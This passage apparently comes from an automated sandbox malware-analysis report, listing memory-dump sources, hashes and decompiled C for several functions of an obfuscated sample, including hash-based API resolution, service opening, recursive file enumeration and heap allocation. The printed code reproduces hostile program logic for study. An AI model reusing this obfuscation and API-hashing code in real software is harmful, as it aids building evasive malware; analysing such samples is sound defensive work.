BorderStyle, xrefs: 00416FA2

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresult
String ID: BorderStyle
API String ID: 713191129-3833701590
Opcode ID: ce8aff9f2539494ab2f6c367e7d7098774b8a66c4b01d15be652c2db280226f6
Instruction ID: e7b1197cfcb793cc38c97bf6b1250f107d73d9444ce6c53fe0f987ea894c874f
Opcode Fuzzy Hash: ce8aff9f2539494ab2f6c367e7d7098774b8a66c4b01d15be652c2db280226f6
Instruction Fuzzy Hash: A4115675A00204EFC700EF58C949B9ABBF8FF08700F10826AE949A7750C778A844CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004175B0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E004175B0(intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				short _t20;
				void* _t23;
				intOrPtr* _t24;
				void* _t27;
				void* _t35;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t39;
				intOrPtr _t41;
				intOrPtr _t42;

				 *[fs:0x0] = _t41;
				_t42 = _t41 - 0x1c;
				_v16 = _t42;
				_v12 = 0x401450;
				_v8 = 0;
				_t39 = _a4;
				_t20 =  *((intOrPtr*)( *_t39 + 4))(_t39, _t35, _t38, _t27,  *[fs:0x0], 0x401d26);
				__imp____vbaI2I4();
				_t36 = _t42 - 0x10;
				 *((short*)(_t39 + 0x44)) = _t20;
				 *_t36 = 8;
				 *((intOrPtr*)(_t36 + 4)) = _v36;
				 *(_t36 + 8) = L"CaseType";
				 *((intOrPtr*)(_t36 + 0xc)) = _v28;
				_t23 =  *((intOrPtr*)( *_t39 + 0x390))(_t39);
				asm("fclex");
				if(_t23 < 0) {
					__imp____vbaHresultCheckObj(_t23, _t39, 0x40f430, 0x390);
				}
				_t24 = _a4;
				 *((intOrPtr*)( *_t24 + 8))(_t24);
				 *[fs:0x0] = _v24;
				return _v8;
			}

0x004175c2
0x004175c9
0x004175cf
0x004175d2
0x004175d9
0x004175e0
0x004175e6
0x004175ec
0x004175fa
0x004175fe
0x00417607
0x0041760d
0x00417610
0x00417616
0x00417619
0x00417621
0x00417623
0x00417631
0x00417631
0x00417637
0x0041763d
0x00417648
0x00417653

APIs

__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,00401D26), ref: 004175EC
__vbaHresultCheckObj.MSVBVM60(00000000,00401450,0040F430,00000390,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00417631

Strings

CaseType, xrefs: 00417602

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresult
String ID: CaseType
API String ID: 713191129-1044249967
Opcode ID: cfebf2b23974337f74f1340cefa7522e16b9cb326a86f58115f7feb7f190b4a5
Instruction ID: dab01437edc7d4398b877ff803f47f8355358e44c42aaa91b3c8c06ba69b01dd
Opcode Fuzzy Hash: cfebf2b23974337f74f1340cefa7522e16b9cb326a86f58115f7feb7f190b4a5
Instruction Fuzzy Hash: C2115875A00204EFC700EF58CA49B9ABBF8FF18710F10816AF949E7790D778A844CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: auditpolmsg.exe PID: 1688 Parent PID: 1772 auditpolmsg.exeCOMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0.9%
Total number of Nodes:	1170
Total number of Limit Nodes:	13

Executed Functions

Function 002D0400, Relevance: 21.1, APIs: 14, Instructions: 132
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00401010,00000000,?), ref: 002D0448

Part of subcall function 002D1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,002D0EFD,00000000), ref: 002D1155

NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00000018,00401010), ref: 002D0463
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 002D0484
HeapFree.KERNEL32(00000000,00000001,00000000), ref: 002D048D
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 002D0492
RtlAllocateHeap.NTDLL(00000000,00000001,00401010), ref: 002D049F
GetCurrentProcess.KERNEL32(?,00401010,00000000,?), ref: 002D04A6
NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00401010,00401010), ref: 002D04B9
RtlMoveMemory.NTDLL(00000000,00000000,00000018), ref: 002D04E0
RtlMoveMemory.NTDLL(00000000,?,00000014), ref: 002D04F7
RtlMoveMemory.NTDLL(?,00000000,00000014), ref: 002D0519
RtlMoveMemory.NTDLL(00000000,00000000,00000024), ref: 002D0530
RtlMoveMemory.NTDLL(00000000,?,00000048), ref: 002D0547
RtlMoveMemory.NTDLL(00000000,00000000,00000048), ref: 002D0562

Memory Dump Source

Source File: 00000008.00000002.2262052090.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2d0000_auditpolmsg.jbxd

Similarity

API ID: MemoryMoveProcess$Heap$CurrentInformationQuery$AllocateFreelstrcpyn
String ID:
API String ID: 482429597-0
Opcode ID: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction ID: e89fcd0d4599c3d0a2007ea6af4610ccb5c3b28cd23abd02339175211b486740
Opcode Fuzzy Hash: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction Fuzzy Hash: 6A414FB19243417EE710EBA1C846F6BB2EDAB88740F408D1EB64897791D674DD248F62

Uniqueness

Uniqueness Score: -1.00%

Function 00368E80, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 131
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00368E80() {
				short* _v4;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t4;
				void* _t6;
				intOrPtr* _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				intOrPtr* _t22;
				void* _t25;
				void* _t42;
				short* _t43;
				intOrPtr _t44;
				short* _t45;
				void* _t46;
				void* _t47;

				_t25 = _v4;
				_t4 = 0x1779a150;
				_t46 = _v4;
				_t43 = _v4;
				_t42 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t47 = _t4 - 0xebfcc22;
						if(_t47 <= 0) {
							break;
						}
						if(_t4 == 0x1779a150) {
							_t4 = 0x23287775;
							continue;
						} else {
							if(_t4 == 0x1e3d7119) {
								if( *0x36e270 == 0) {
									 *0x36e270 = E00363E60(_t25, E00363F00(0x26f5757c), 0x56e230f9, _t46);
								}
								_t6 = OpenServiceW(_t46, _t43, 0x10000); // executed
								_t25 = _t6;
								_t4 =  !=  ? 0xebfcc22 : 0xbf6010;
								continue;
							} else {
								if(_t4 != 0x23287775) {
									goto L22;
								} else {
									_t44 =  *0x36e54c; // 0x5ce050
									_t45 = _t44 + 0x260;
									while( *_t45 != 0x5c) {
										_t45 = _t45 + 2;
									}
									_t43 = _t45 + 2;
									_t4 = 0x10ada17;
									continue;
								}
							}
						}
						L32:
					}
					if(_t47 == 0) {
						_t11 =  *0x36e4c8;
						if(_t11 == 0) {
							_t11 = E00363E60(_t25, E00363F00(0x26f5757c), 0xe9d3e51f, _t46);
							 *0x36e4c8 = _t11;
						}
						 *_t11(_t25);
						_t42 =  !=  ? 1 : _t42;
						_t4 = 0xd10de09;
						goto L1;
					} else {
						if(_t4 == 0xbf6010) {
							_t15 =  *0x36e18c;
							if(_t15 == 0) {
								_t15 = E00363E60(_t25, E00363F00(0x26f5757c), 0x268fe5f0, _t46);
								 *0x36e18c = _t15;
							}
							 *_t15(_t46);
							goto L31;
						} else {
							if(_t4 == 0x10ada17) {
								_t19 =  *0x36e310;
								if(_t19 == 0) {
									_t19 = E00363E60(_t25, E00363F00(0x26f5757c), 0x9ba7cd1, _t46);
									 *0x36e310 = _t19;
								}
								_t46 =  *_t19(0, 0, 0xf003f);
								if(_t46 == 0) {
									L31:
									return _t42;
								} else {
									_t4 = 0x1e3d7119;
									goto L1;
								}
							} else {
								if(_t4 != 0xd10de09) {
									goto L22;
								} else {
									_t22 =  *0x36e18c;
									if(_t22 == 0) {
										_t22 = E00363E60(_t25, E00363F00(0x26f5757c), 0x268fe5f0, _t46);
										 *0x36e18c = _t22;
									}
									 *_t22(_t25);
									_t4 = 0xbf6010;
									goto L1;
								}
							}
						}
					}
					goto L32;
					L22:
				} while (_t4 != 0x2dd4caa9);
				return _t42;
				goto L32;
			}

0x00368e82
0x00368e86
0x00368e8c
0x00368e91
0x00368e96
0x00368e98
0x00368ea0
0x00368ea0
0x00368ea0
0x00368ea0
0x00368ea5
0x00000000
0x00000000
0x00368f7f
0x00369011
0x00000000
0x00368f85
0x00368f8a
0x00368fd5
0x00368fed
0x00368fed
0x00368ff9
0x00368ffb
0x00369009
0x00000000
0x00368f8c
0x00368f91
0x00000000
0x00368f93
0x00368f93
0x00368f99
0x00368fa3
0x00368fa5
0x00368fa8
0x00368fae
0x00368fb1
0x00000000
0x00368fb1
0x00368f91
0x00368f8a
0x00000000
0x00368f7f
0x00368eab
0x00368f3f
0x00368f46
0x00368f59
0x00368f5e
0x00368f5e
0x00368f64
0x00368f6d
0x00368f70
0x00000000
0x00368eb1
0x00368eb6
0x0036901b
0x00369022
0x00369035
0x0036903a
0x0036903a
0x00369040
0x00000000
0x00368ebc
0x00368ec1
0x00368efc
0x00368f03
0x00368f16
0x00368f1b
0x00368f1b
0x00368f2b
0x00368f2f
0x00369042
0x00369049
0x00368f35
0x00368f35
0x00000000
0x00368f35
0x00368ec3
0x00368ec8
0x00000000
0x00368ece
0x00368ece
0x00368ed5
0x00368ee8
0x00368eed
0x00368eed
0x00368ef3
0x00368ef5
0x00000000
0x00368ef5
0x00368ec8
0x00368ec1
0x00368eb6
0x00000000
0x00368fbb
0x00368fbb
0x00368fcd
0x00000000

APIs

OpenServiceW.ADVAPI32(3251FEFE,?,00010000,?,3251FEFE,?,186D334D,005CE050,00368782,?,3251FEFE,?), ref: 00368FF9

Strings

uw(#, xrefs: 00369011
uw(#, xrefs: 00368F8C
P\, xrefs: 00368F93

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: P\$uw(#$uw(#
API String ID: 3098006287-4189060273
Opcode ID: 30a198ba87fabc04cfac2f53f523f7ae63167920d6bf38b5b0a80713e0fc4607
Instruction ID: a55e9698731c28e8d69a941a746e2ccab2bf80010cb30940164e7c9c2859e30c
Opcode Fuzzy Hash: 30a198ba87fabc04cfac2f53f523f7ae63167920d6bf38b5b0a80713e0fc4607
Instruction Fuzzy Hash: 63410525B002008BDB226BBDAC9077B229EA788750F21CA29F905CF749EFA1CC4457A1

Uniqueness

Uniqueness Score: -1.00%

Function 003638F0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E003638F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				signed int _t34;
				void* _t39;
				intOrPtr* _t42;
				signed int _t46;
				intOrPtr* _t50;
				intOrPtr _t55;
				void* _t56;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t98;

				_t91 = __ecx;
				_t95 = __edx;
				_v1640 = __ecx;
				_t22 = 0x25a25425;
				_t56 = _v1640;
				while(1) {
					L1:
					_t98 = _t22 - 0x25a25425;
					if(_t98 > 0) {
						break;
					}
					if(_t98 == 0) {
						_t22 = 0x29bc40d3;
						continue;
					} else {
						if(_t22 == 0x8a099c9) {
							if( *0x36e430 == 0) {
								 *0x36e430 = E00363E60(_t56, E00363F00(0x9bab0b12), 0x83efb111, _t95);
							}
							_t39 = FindFirstFileW( &_v524,  &_v1636); // executed
							_t56 = _t39;
							if(_t56 == 0xffffffff) {
								return _t39;
							} else {
								_t22 = 0x1a4f9837;
								continue;
							}
						} else {
							if(_t22 == 0xb46fa16) {
								_t42 =  *0x36dba4;
								if(_t42 == 0) {
									_t42 = E00363E60(_t56, E00363F00(0x9bab0b12), 0xd274268a, _t95);
									 *0x36dba4 = _t42;
								}
								return  *_t42(_t56);
							}
							if(_t22 != 0x1a4f9837) {
								L27:
								if(_t22 != 0x55fa1f4) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t46 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t46 & 0x2b8487c8) + 0xb46fa16;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t95 == 0) {
											goto L11;
										} else {
											_t94 = E003634C0(0x36d290);
											_t50 =  *0x36e158;
											if(_t50 == 0) {
												_t50 = E00363E60(_t56, E00363F00(0xc6fbcd74), 0xba71dd03, _t95);
												 *0x36e158 = _t50;
											}
											 *_t50( &_v1044, 0x104, _t94, _t91,  &(_v1636.cFileName));
											E003638F0( &_v1044, _t95, _a4, _a8);
											_t96 = _t96 + 0x1c;
											E00363460(_t94);
											_t22 = 0x36cb81de;
										}
									} else {
										_t55 = _v1590;
										if(_t55 == 0 || _t55 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x36cb81de;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x29bc40d3) {
					_t93 = E003634C0(0x36d260);
					_t24 =  *0x36e158;
					if(_t24 == 0) {
						_t24 = E00363E60(_t56, E00363F00(0xc6fbcd74), 0xba71dd03, _t95);
						 *0x36e158 = _t24;
					}
					 *_t24( &_v524, 0x104, _t93, _t91);
					_t26 =  *0x36e494;
					_t96 = _t96 + 0x10;
					if(_t26 == 0) {
						_t26 = E00363E60(_t56, E00363F00(0x9bab0b12), 0x7facde30, _t95);
						 *0x36e494 = _t26;
					}
					_t92 =  *_t26();
					_t28 =  *0x36df30;
					if(_t28 == 0) {
						_t28 = E00363E60(_t56, E00363F00(0x9bab0b12), 0x5010a54d, _t95);
						 *0x36df30 = _t28;
					}
					 *_t28(_t92, 0, _t93);
					_t91 = _v1652;
					_t22 = 0x8a099c9;
					goto L1;
				} else {
					if(_t22 != 0x36cb81de) {
						goto L27;
					} else {
						_t33 =  *0x36df88;
						if(_t33 == 0) {
							_t33 = E00363E60(_t56, E00363F00(0x9bab0b12), 0xa53a5b1a, _t95);
							 *0x36df88 = _t33;
						}
						_t34 =  *_t33(_t56,  &_v1636);
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0x0f089e21) + 0xb46fa16;
						goto L1;
					}
				}
				goto L40;
			}

0x003638fa
0x003638fc
0x003638fe
0x00363902
0x00363907
0x00363910
0x00363910
0x00363910
0x00363915
0x00000000
0x00000000
0x0036391b
0x00363a5f
0x00000000
0x00363921
0x00363926
0x00363a1e
0x00363a36
0x00363a36
0x00363a48
0x00363a4a
0x00363a4f
0x00363ba1
0x00363a55
0x00363a55
0x00000000
0x00363a55
0x0036392c
0x00363931
0x00363b70
0x00363b77
0x00363b8a
0x00363b8f
0x00363b8f
0x00000000
0x00363b95
0x0036393c
0x00363ab6
0x00363abb
0x00000000
0x00363acb
0x00363acb
0x00363acb
0x00363942
0x00363947
0x003639fd
0x00363a06
0x00363a0d
0x0036394d
0x00363953
0x00363974
0x00363976
0x00000000
0x00363978
0x00363982
0x00363984
0x0036398b
0x0036399e
0x003639a3
0x003639a3
0x003639bc
0x003639d8
0x003639dd
0x003639e2
0x003639e7
0x003639e7
0x00363955
0x00363955
0x0036395d
0x0036396d
0x0036396d
0x00000000
0x00000000
0x00000000
0x0036395d
0x00363953
0x00000000
0x00363947
0x0036393c
0x00363926
0x00000000
0x0036391b
0x00363a6e
0x00363ad6
0x00363ad8
0x00363adf
0x00363af2
0x00363af7
0x00363af7
0x00363b0b
0x00363b0d
0x00363b12
0x00363b17
0x00363b2a
0x00363b2f
0x00363b2f
0x00363b36
0x00363b38
0x00363b3f
0x00363b52
0x00363b57
0x00363b57
0x00363b60
0x00363b62
0x00363b66
0x00000000
0x00363a70
0x00363a75
0x00000000
0x00363a77
0x00363a77
0x00363a7e
0x00363a91
0x00363a96
0x00363a96
0x00363aa1
0x00363aa5
0x00363aac
0x00000000
0x00363aac
0x00363a75
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 00363A48

Strings

., xrefs: 0036394D

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .
API String ID: 1974802433-248832578
Opcode ID: 73934dd5f95f71246a505a44b4f50180ded987a0c92bdc5ee36e3ec7ffc73b78
Instruction ID: 9bc92c9b86076307876f5e6a60595dab57791928c5ec2aebd0858d92ab7c04ac
Opcode Fuzzy Hash: 73934dd5f95f71246a505a44b4f50180ded987a0c92bdc5ee36e3ec7ffc73b78
Instruction Fuzzy Hash: DF5134717042000BCB26ABB9D845B7B36EA9B91300F01C919F452CB399EFB6CF1597A2

Uniqueness

Uniqueness Score: -1.00%

Function 00365040, Relevance: 1.7, APIs: 1, Instructions: 248
memoryCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00365040(intOrPtr __ecx, intOrPtr __edx) {
				char _v4;
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				void* _v36;
				intOrPtr _v44;
				signed int _v52;
				void* _v68;
				void* __ebx;
				void* __ebp;
				void* _t16;
				void* _t17;
				void* _t23;
				void* _t26;
				void* _t29;
				void* _t31;
				void* _t35;
				void* _t37;
				void* _t41;
				void* _t42;
				void* _t45;
				void* _t50;
				void* _t51;
				void* _t52;
				signed int _t53;
				void* _t58;
				intOrPtr* _t101;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t115;
				void* _t116;

				_t101 = _v12;
				_t58 = 0;
				_v16 = __edx;
				_t112 = 0;
				_v20 = __ecx;
				_t104 = 0x1ca940c1;
				while(1) {
					_t16 = _v28;
					while(1) {
						L2:
						_t115 = _t104 - 0x12f72f95;
						if(_t115 <= 0) {
							break;
						}
						__eflags = _t104 - 0x26342ffd;
						if(__eflags > 0) {
							__eflags = _t104 - 0x2fab56c4;
							if(_t104 != 0x2fab56c4) {
								goto L40;
							} else {
								_t17 =  *0x36e494;
								__eflags = _t17;
								if(_t17 == 0) {
									_t17 = E00363E60(_t58, E00363F00(0x9bab0b12), 0x7facde30, _t112);
									 *0x36e494 = _t17;
								}
								_t105 =  *_t17();
								__eflags =  *0x36dd18;
								if( *0x36dd18 == 0) {
									 *0x36dd18 = E00363E60(_t58, E00363F00(0x9bab0b12), 0x9ff0609c, _t112);
								}
								_t16 = RtlAllocateHeap(_t105, 8, 0x20000); // executed
								_t58 = _t16;
								__eflags = _t58;
								if(_t58 != 0) {
									_t104 = 0x8956eec;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						} else {
							if(__eflags == 0) {
								_t23 =  *0x36e484;
								__eflags = _t23;
								if(_t23 == 0) {
									_t23 = E00363E60(_t58, E00363F00(0x26f5757c), 0x9e91db81, _t112);
									 *0x36e484 = _t23;
								}
								 *_t23(_v24, 1, _t112, 0x2000,  &_v4);
								asm("sbb esi, esi");
								_t26 =  *0x36e18c;
								_t104 = (_t104 & 0x0b23632b) + 0x5d498c4;
								__eflags = _t26;
								if(_t26 == 0) {
									_t26 = E00363E60(_t58, E00363F00(0x26f5757c), 0x268fe5f0, _t112);
									 *0x36e18c = _t26;
								}
								_t16 =  *_t26(_v44);
								goto L40;
							} else {
								__eflags = _t104 - 0x1ca940c1;
								if(_t104 == 0x1ca940c1) {
									_t104 = 0x2fab56c4;
									continue;
								} else {
									__eflags = _t104 - 0x254bd927;
									if(_t104 != 0x254bd927) {
										L40:
										__eflags = _t104 - 0x1f0f293e;
										if(_t104 != 0x1f0f293e) {
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										}
									} else {
										_t50 =  *0x36e29c;
										__eflags = _t50;
										if(_t50 == 0) {
											_t50 = E00363E60(_t58, E00363F00(0x26f5757c), 0x4574c66, _t112);
											 *0x36e29c = _t50;
										}
										_t51 =  *_t50(_v20, 0, 0x30, 3, _t58, 0x20000,  &_v8,  &_v12, 0, 0);
										__eflags = _t51;
										if(_t51 == 0) {
											L13:
											_t104 = 0x11e09e52;
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										} else {
											_t52 =  *0x36de08;
											__eflags = _t52;
											if(_t52 == 0) {
												_t52 = E00363E60(_t58, E00363F00(0x9bab0b12), 0xd8ef4c49, _t112);
												 *0x36de08 = _t52;
											}
											_t53 =  *_t52();
											_t104 = 0x128dff18;
											_t103 = _t58 + (_t53 & 0x0000001f) * 0x2c;
											_t16 = _t58 + _v52 * 0x2c;
											__eflags = _t103 - _t16;
											_v68 = _t16;
											_t101 =  >=  ? _t58 : _t103;
											continue;
										}
										L55:
									}
								}
							}
						}
						L54:
						return _t16;
						goto L55;
					}
					if(_t115 == 0) {
						_t29 =  *0x36e494;
						__eflags = _t29;
						if(_t29 == 0) {
							_t29 = E00363E60(_t58, E00363F00(0x9bab0b12), 0x7facde30, _t112);
							 *0x36e494 = _t29;
						}
						_t107 =  *_t29();
						_t31 =  *0x36df30;
						__eflags = _t31;
						if(_t31 == 0) {
							_t31 = E00363E60(_t58, E00363F00(0x9bab0b12), 0x5010a54d, _t112);
							 *0x36df30 = _t31;
						}
						return  *_t31(_t107, 0, _t58);
					}
					_t116 = _t104 - 0x10f7fbef;
					if(_t116 > 0) {
						__eflags = _t104 - 0x11e09e52;
						if(_t104 == 0x11e09e52) {
							_t35 =  *0x36e494;
							__eflags = _t35;
							if(_t35 == 0) {
								_t35 = E00363E60(_t58, E00363F00(0x9bab0b12), 0x7facde30, _t112);
								 *0x36e494 = _t35;
							}
							_t108 =  *_t35();
							_t37 =  *0x36df30;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E00363E60(_t58, E00363F00(0x9bab0b12), 0x5010a54d, _t112);
								 *0x36df30 = _t37;
							}
							 *_t37(_t108, 0, _t112);
							_t104 = 0x12f72f95;
							continue;
						} else {
							__eflags = _t104 - 0x128dff18;
							if(_t104 != 0x128dff18) {
								goto L40;
							} else {
								_t41 =  *0x36e270;
								__eflags = _t41;
								if(_t41 == 0) {
									_t41 = E00363E60(_t58, E00363F00(0x26f5757c), 0x56e230f9, _t112);
									 *0x36e270 = _t41;
								}
								_t42 =  *_t41(_v20,  *_t101, 1);
								__eflags = _t42;
								_v36 = _t42;
								_t104 =  !=  ? 0x26342ffd : 0x5d498c4;
								while(1) {
									_t16 = _v28;
									goto L2;
								}
							}
						}
					} else {
						if(_t116 == 0) {
							_t45 =  *0x36e200;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E00363E60(_t58, E00363F00(0x26f5757c), 0x16d40839, _t112);
								 *0x36e200 = _t45;
							}
							 *_t45(_v16, 1, _t112);
							goto L13;
						} else {
							if(_t104 == 0x5d498c4) {
								_t101 = _t101 + 0x2c;
								__eflags = _t101 - _t16;
								asm("sbb esi, esi");
								_t104 = (_t104 & 0x00ad60c6) + 0x11e09e52;
								goto L2;
							} else {
								if(_t104 != 0x8956eec) {
									goto L40;
								} else {
									_t112 = E003642C0(_t58, 0x2000);
									_t104 =  !=  ? 0x254bd927 : 0x12f72f95;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						}
					}
					goto L54;
				}
			}

0x00365047
0x0036504b
0x0036504d
0x00365051
0x00365053
0x00365057
0x0036505c
0x0036505c
0x00365060
0x00365060
0x00365060
0x00365066
0x00000000
0x00000000
0x003651af
0x003651b5
0x003652f9
0x003652ff
0x00000000
0x00365301
0x00365301
0x00365306
0x00365308
0x0036531b
0x00365320
0x00365320
0x00365327
0x0036532e
0x00365330
0x00365348
0x00365348
0x00365355
0x00365357
0x00365359
0x0036535b
0x0036535d
0x0036505c
0x0036505c
0x00000000
0x0036505c
0x0036505c
0x0036535b
0x003651bb
0x003651bb
0x00365277
0x0036527c
0x0036527e
0x00365291
0x00365296
0x00365296
0x003652ac
0x003652b0
0x003652b2
0x003652bd
0x003652c3
0x003652c5
0x003652d8
0x003652dd
0x003652dd
0x003652e6
0x00000000
0x003651c1
0x003651c1
0x003651c7
0x0036526d
0x00000000
0x003651cd
0x003651cd
0x003651d3
0x003652e8
0x003652e8
0x003652ee
0x0036505c
0x0036505c
0x00000000
0x0036505c
0x0036505c
0x003651d9
0x003651d9
0x003651de
0x003651e0
0x003651f3
0x003651f8
0x003651f8
0x0036521b
0x0036521d
0x0036521f
0x003650ef
0x003650ef
0x0036505c
0x0036505c
0x00000000
0x0036505c
0x00365225
0x00365225
0x0036522a
0x0036522c
0x0036523f
0x00365244
0x00365244
0x00365249
0x0036524e
0x0036525b
0x0036525d
0x0036525f
0x00365261
0x00365265
0x00000000
0x00365265
0x00000000
0x0036521f
0x003651d3
0x003651c7
0x003651bb
0x003653c0
0x003653c0
0x00000000
0x003653c0
0x0036506c
0x00365367
0x0036536c
0x0036536e
0x00365381
0x00365386
0x00365386
0x0036538d
0x0036538f
0x00365394
0x00365396
0x003653a9
0x003653ae
0x003653ae
0x00000000
0x003653b7
0x00365072
0x00365078
0x003650f9
0x003650ff
0x00365153
0x00365158
0x0036515a
0x0036516d
0x00365172
0x00365172
0x00365179
0x0036517b
0x00365180
0x00365182
0x00365195
0x0036519a
0x0036519a
0x003651a3
0x003651a5
0x00000000
0x00365101
0x00365101
0x00365107
0x00000000
0x0036510d
0x0036510d
0x00365112
0x00365114
0x00365127
0x0036512c
0x0036512c
0x00365139
0x0036513b
0x0036513d
0x0036514b
0x0036505c
0x0036505c
0x00000000
0x0036505c
0x0036505c
0x00365107
0x0036507a
0x0036507a
0x003650c2
0x003650c7
0x003650c9
0x003650dc
0x003650e1
0x003650e1
0x003650ed
0x00000000
0x0036507c
0x00365082
0x003650ad
0x003650b0
0x003650b2
0x003650ba
0x00000000
0x00365084
0x0036508a
0x00000000
0x00365090
0x0036509a
0x003650a8
0x0036505c
0x0036505c
0x00000000
0x0036505c
0x0036505c
0x0036508a
0x00365082
0x0036507a
0x00000000
0x00365078

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00020000,?,?,00368AC8,?,3251FEFE,?,?), ref: 00365355

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6a81e9df02a975fafa610ed9329d170e372d3c6b9713e63d0e7049c1250bd43c
Instruction ID: d081c8a6a2d5950875ba3c88541ee66c21b86c10a7822c8060faeaf38530df81
Opcode Fuzzy Hash: 6a81e9df02a975fafa610ed9329d170e372d3c6b9713e63d0e7049c1250bd43c
